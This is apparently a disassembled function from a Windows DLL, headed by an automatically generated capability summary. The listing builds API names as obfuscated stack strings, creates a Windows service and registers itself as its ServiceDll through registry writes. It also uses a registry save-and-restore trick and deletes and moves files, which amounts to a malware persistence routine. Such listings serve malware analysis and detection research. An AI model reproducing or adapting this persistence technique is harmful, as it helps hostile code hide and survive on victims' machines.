Function at 0x10001985
Capabilities:
Contain obfuscated stackstrings
Create service
Delete file
Move file
Persist via windows service
Set registry value

Disassembly:
mov eax, 0x10002218
call fcn.1000208c
sub esp, 0x964
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x40]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push eax
push 0x10001254
mov byte [ebp - 0x40], 0x52
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x67
mov byte [ebp - 0x3d], 0x43
mov byte [ebp - 0x3c], 0x72
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x4b
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x79
mov byte [ebp - 0x34], 0x41
mov byte [ebp - 0x33], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x58]
push eax
push 0x10001244
mov byte [ebp - 0x58], 0x47
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x74
mov byte [ebp - 0x55], 0x57
mov byte [ebp - 0x54], 0x69
mov byte [ebp - 0x53], 0x6e
mov byte [ebp - 0x52], 0x64
mov byte [ebp - 0x51], 0x6f
mov byte [ebp - 0x50], 0x77
mov byte [ebp - 0x4f], 0x73
mov byte [ebp - 0x4e], 0x44
mov byte [ebp - 0x4d], 0x69
mov byte [ebp - 0x4c], 0x72
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x63
mov byte [ebp - 0x49], 0x74
mov byte [ebp - 0x48], 0x6f
mov byte [ebp - 0x47], 0x72
mov byte [ebp - 0x46], 0x79
mov byte [ebp - 0x45], 0x41
mov byte [ebp - 0x44], bl
call esi
push eax
call edi
push 1
mov dword [ebp - 0x64], eax
pop edi
push edi
push 0x10001230
call fcn.100014e5
push edi
push 0x1000121c
call fcn.10001562
add esp, 0x10
lea eax, [ebp - 0x18]
mov esi, 0x80000002
mov dword [ebp - 4], ebx
push eax
push edi
push ebx
push 0x100010fc
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push dword [ebp + 8]
mov dword [ebp - 0x5c], eax
call fcn.10001707
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x100011ec
push edi
push 2
push 0x10
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
mov dword [ebp + 0xc], eax
call edi
push dword [ebp - 0x5c]
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x570]
mov dword [ebp - 0x18], esi
push 0x100011c4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x570]
push dword [ebp + 0x10]
push 1
push 0x100011b8
push eax
push esi
call fcn.100013a0
add esp, 0x1c
lea eax, [ebp - 0x570]
push 0x100011ac
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
mov edi, 0x10002280
push ebx
push edi
lea eax, [ebp - 0x24]
push 2
push eax
lea eax, [ebp - 0x570]
push eax
push esi
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x76
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x44
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], bl
call fcn.100013a0
push ebx
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x76
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x63
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x4d
mov byte [ebp - 0x28], 0x61
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], bl
push ebx
push edi
lea eax, [ebp - 0x30]
push 1
push eax
lea eax, [ebp - 0x570]
push eax
push esi
call fcn.100013a0
add esp, 0x38
lea eax, [ebp - 0x170]
push 0x104
push eax
call dword [ebp - 0x64]
lea eax, [ebp - 0x170]
push 0x1000119c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10001190
lea eax, [ebp - 0x970]
push dword [ebp + 8]
push 0x10001188
push 0x1000117c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push 0xf003f
push ebx
push edi
lea eax, [ebp - 0x970]
push ebx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x970]
push eax
push esi
call dword [ebp - 0x60]
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x14]
push 2
push ebx
push 0x10001170
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x10001164
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x10001164
push 1
push ebx
push 0x10001158
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call edi
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x970]
push ebx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x170]
push ebx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSaveKeyA]
push dword [ebp - 0x14]
call edi
push 2
push ebx
push ebx
push ebx
lea eax, [ebp - 0x970]
push ebx
push eax
push esi
call fcn.100013a0
add esp, 0x1c
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x570]
push ebx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x170]
push 8
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x10001d27
push dword [ebp - 0x18]
call edi
push ebx
call edi
push dword [ebp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x5c]
call esi
push dword [ebp + 0x14]
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 0xc]
push 1
pop eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret